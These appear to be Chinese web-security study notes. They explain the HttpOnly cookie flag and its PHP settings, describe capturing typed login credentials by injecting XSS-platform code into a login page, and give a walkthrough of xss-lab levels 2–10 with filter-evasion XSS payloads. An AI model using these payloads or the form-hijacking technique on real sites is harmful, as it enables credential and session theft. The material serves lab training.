[xss-3]httponly绕过

什么是HttpOnly

HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话)

下面的例子展示了如何设置Set-Cookie 返回头的语法

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

如果HTTP响应标头中包含HttpOnly标志(可选),客户端脚本将无法访问cookie(如果浏览器支持该标志的话)。因此即使客户端存在跨站点脚本(XSS)漏洞,浏览器也不会将Cookie透露给第三方。

如果浏览器不支持HttpOnly,并且后端服务器尝试设置HttpOnly cookie,浏览器也会忽略HttpOnly标志,从而创建传统的,脚本可访问的cookie。那么该cookie(通常是会话cookie)容易受到XSS攻击

作用:使用HttpOnly缓解最常见的XSS攻击

大多数XSS攻击都是针对会话cookie的盗窃。后端服务器可以通过在其创建的cookie上设置HttpOnly标志来帮助缓解此问题,这表明该cookie在客户端上不可访问。
如果支持HttpOnly的浏览器检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取该cookie,则浏览器将返回一个空字符串作为结果。这会通过阻止恶意代码(通常是XSS)将数据发送到攻击者的网站来使攻击失败。

PHP中的设置

PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中

 session.cookie_httponly = 

设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:

 <?php
  ini_set("session.cookie_httponly", 1); 
 // or
  session_set_cookie_params(0, NULL, NULL, NULL, TRUE); 
 ?> 

Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); 
 setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:

<?php
  header("Set-Cookie: hidden=value; httpOnly");
  ?> 

httponly仅仅阻止盗取cookie

登陆后台方式:
1.cookie
2.账号密码登录

[xss-3]httponly绕过_第1张图片

获取用户账号密码

保存读取
浏览器记录
读取用户浏览器即可

未保存读取
用户自己输入 -表单劫持
要求-登录框

代码写入登录页面
[xss-3]httponly绕过_第2张图片
用户将发出两个数据包一个是xss跨站平台 一个是服务器

xss平台上配置代码
[xss-3]httponly绕过_第3张图片

[xss-3]httponly绕过_第4张图片

将代码写入后台登陆框
在这里插入图片描述

xss-lab

level2
[xss-3]httponly绕过_第5张图片

[xss-3]httponly绕过_第6张图片

其中<和>都被编码成了html字符实体。
只需要将属性的引号和标签先闭合就可以了。

将keyword的参数值重新赋值">//
左边的">去闭合原先的"
右边的//去注释原先的">

level3

在这里插入图片描述
尖括号被过滤
利用事件触发

通过标签的一些特殊事件来执行js代码

构造代码:level3.php?keyword='onfocus=javascript:alert('xss') > //

level4

<和>没有了
事件触发却不需要使用这两个符号。

用上一关的代码:"onfocus=javascript:alert('xss')"
level5
on后面加了关键字
在这里插入图片描述
在这里插入图片描述

使用超链接

"> <a href=javascript:alert('xss') > xss</a> //

level6
过滤很多
[xss-3]httponly绕过_第7张图片

大小写混写

"> <a HrEf=javascript:alert('xss') > xss</a> //

level7
无循环过滤
双写关键字

"oonnfocus=javascriscriptpt:alert('xss')>//

在这里插入图片描述

level8
提交的参数值一个会插入到标签的value属性值中,
一个会插入到下方标签的href属性值中。
测试服务器对客户端的处理
将要提交的js代码进行编码
在这里插入图片描述

level9

提交的参数值插入到了标签的value属性值中

但是在标签的href属性中却并没有出现该参数值,

而是显示的 "您的链接不合法?有没有!"这样的字符串。

猜测这里可能对url地址做了匹配。

只有包含正常的url地址才能添加到href属性值中

构造一个有正常url地址的恶意代码:

?keyword=javascript:alert('xss')http://www.baidu.com

关键字编码
在这里插入图片描述

level10

在源码中有一个隐藏的表单。
其中含有t_link t_history t_sort这样三个隐藏的标签

构造

?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"


[xss-3]httponly绕过_第8张图片

从页面响应来看,有一个标签的状态可以被改变。这个标签就是名
为t_sort的标签,之前都是隐藏状态,但是通过构造参数响应发现只
有它里面的值被改变了。
因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。
构造如下代码:

?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert('xss')

将js代码插入到标签的属性值中来执

行而不能通过闭合标签引入新的标签来触发xss

[xss-3]httponly绕过_第9张图片
检测来源 同源策略-是否为同一域名

你可能感兴趣的:(小迪安全笔记,web,web安全)